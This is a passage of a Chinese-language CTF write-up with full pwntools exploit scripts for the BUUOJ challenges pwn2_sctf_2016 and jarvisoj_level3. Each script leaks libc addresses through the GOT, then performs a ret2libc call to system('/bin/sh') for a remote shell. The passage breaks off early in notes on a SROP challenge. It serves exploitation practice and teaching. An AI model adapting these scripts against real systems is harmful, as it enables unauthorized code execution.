ecx
0
edx
0
有个取栈地址的gadget,但是实际利用不了
老老实实找libc造payload
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 from pwn import *import libcfindcontext.gdb_binary='pwndbg' config={ 'filename' :'./pwn2_sctf_2016' , 'remote' :1 , 'debug' :0 , 'log' :0 , 'host' :'node5.buuoj.cn' , 'port' :27172 } def init (): elf=ELF(config['filename' ]) if config['remote' ]: p=remote(config['host' ],config['port' ]) else : p=process(config['filename' ]) if config['debug' ]: gdb.attach(p) input ('enter to run' ) if config['log' ]: context.log_level = 'debug' return p,elf def leak_addr (got_name,name=None ): if not name: name=got_name got_addr=elf.got[got_name] payload=[] payload.append(b'a' *0x2c ) payload.append(b'a' *4 ) payload.append(printf_plt) payload.append(main) payload.append(got_addr) p.sendline(flat(*payload)) p.recvuntil('You said: ' ) p.recvline() addr=u32(p.recv(4 )) print (f'{name} : {hex (addr)} ' ) return addr p,elf=init() printf_plt=elf.plt['printf' ] main=elf.sym['main' ] p.sendline('-1' ) start=leak_addr('__libc_start_main' ) libc=libcfind.finder('__libc_start_main' ,start) system_addr=libc.dump('system' ) binsh=libc.dump('str_bin_sh' ) p.sendline('-1' ) payload=[] payload.append(b'a' *0x2c ) payload.append(b'a' *4 ) payload.append(system_addr) payload.append(main) payload.append(binsh) p.sendline(flat(*payload)) p.interactive()
jarvisoj_level3 栈溢出,直接ret2libc
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 from pwn import *import libcfindcontext.gdb_binary='pwndbg' config={ 'filename' :'./level3' , 'remote' :1 , 'debug' :0 , 'log' :0 , 'host' :'node5.buuoj.cn' , 'port' :27245 } def init (): elf=ELF(config['filename' ]) if config['remote' ]: p=remote(config['host' ],config['port' ]) else : p=process(config['filename' ]) if config['debug' ]: gdb.attach(p) input ('enter to run' ) if config['log' ]: context.log_level = 'debug' return p,elf def leak_addr (got_name,name=None ): if not name: name=got_name got_addr=elf.got[got_name] payload=[] payload.append(b'a' *0x88 ) payload.append(b'a' *4 ) payload.append(write_plt) payload.append(main) payload.append(1 ) payload.append(got_addr) payload.append(4 ) p.sendline(flat(*payload)) p.recvuntil('Input:\n' ) addr=u32(p.recv(4 )) print (f'{name} : {hex (addr)} ' ) return addr p,elf=init() write_plt=elf.plt['write' ] main=elf.sym['main' ] start=leak_addr('write' ) libc=libcfind.finder('write' ,start) system_addr=libc.dump('system' ) binsh=libc.dump('str_bin_sh' ) payload=[] payload.append(b'a' *0x88 ) payload.append(b'a' *4 ) payload.append(system_addr) payload.append(main) payload.append(binsh) p.sendline(flat(*payload)) p.interactive()
ciscn_2019_s_3 栈溢出
syscall是系统调用函数
gadgets可以单独修改rax,我们可以把rax设置成15,后调用syscall,这被称为Sigreturn系统调用
Sigreturn系统调用是用户层需要恢复寄存器产生的,在用户层无法同时修改寄存器为,无法通过不修改其他寄存器的情况下同时